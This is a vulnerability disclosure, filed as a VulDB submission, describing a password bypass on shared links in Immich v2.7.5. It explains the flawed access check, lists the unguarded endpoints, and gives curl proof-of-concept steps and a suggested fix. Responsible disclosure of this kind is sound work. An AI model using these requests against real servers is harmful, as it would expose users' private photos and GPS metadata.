Submeter #957120: https://github.com/immich-app immich v2.7.5 Missing Authorization

Password-protected shared links bypass: thumbnail view and full asset metadata accessible without password in Immich v2.7.5

I found a missing authorization check in Immich v2.7.5 (commit 1bb7517) that allows anyone holding a password-protected shared link URL to view thumbnails and read full asset metadata (including EXIF/GPS) without ever providing the link password.

**Root cause:** `checkSharedLinkAccess()` in `server/src/utils/access.ts` grants `AssetRead` and `AssetView` permissions (lines 67, 71) by checking only that the asset belongs to the share link by ID — `sharedLink.password` is present in the `AuthSharedLink` context object but is never consulted. The password check only appears in `SharedLinkService.getMine()` and `.login()`, leaving the underlying asset/album endpoints unguarded.

**Bypassed (HTTP 200):**
- `GET /api/assets/:id/thumbnail?key=<PASSWORD_PROTECTED_KEY>` — thumbnail image served
- `GET /api/assets/:id?key=<PASSWORD_PROTECTED_KEY>` — full JSON with EXIF, GPS, originalPath
- `GET /api/albums/:id?key=<PASSWORD_PROTECTED_KEY>` — album name, asset count, member list

**Correctly enforced (401):**
- `GET /api/shared-links/me?key=<PASSWORD_PROTECTED_KEY>` — blocked

Both INDIVIDUAL and ALBUM link types are affected. Live-validated on Docker image v2.7.5 (image tag `release`, commit 1bb7517).

This is distinct from GHSA-78x4-6x83-jx75 (password-in-URL-params, fixed in v2.6.0). That issue was about credential logging; this issue is about the password gate itself being absent from asset/album endpoints.

Proof of concept (key steps):
```bash
# Create password-protected link (download disabled)
LINK_KEY=$(curl -s -X POST /api/shared-links -H "..." \
-d '{"type":"INDIVIDUAL","assetIds":["ASSET_ID"],"password":"secret","allowDownload":false}' \
| jq -r .key)
# Bypass: thumbnail served without password
curl -s -o proof.webp -w "%{http_code}" /api/assets/ASSET_ID/thumbnail?key=$LINK_KEY # 200
# Bypass: full metadata returned without password
curl -s /api/assets/ASSET_ID?key=$LINK_KEY # 200 with EXIF/GPS/originalPath
```

Suggested fix: In `checkSharedLinkAccess()` in `utils/access.ts`, return `new Set()` when `sharedLink.password` is non-null and the caller has not completed shared-link login (similar to how `allowDownload` is checked for `AssetDownload`).

### Version of Immich Server

v2.7.5

• Fonte: ⚠️ https://github.com/immich-app/immich/issues/29599
• Utilizador: geochen (UID 78995)
• Submissão: 02/09/2026 16h07 (há 29 dias)
• Moderação: 30/09/2026 21h07 (28 days later)
• Estado: Aceite
• Entrada VulDB: 412344 [immich-app Immich até 2.7.5 Shared Link Preview access.ts checkSharedLinkAccess password Elevação de Privilégios]
• Pontos: 20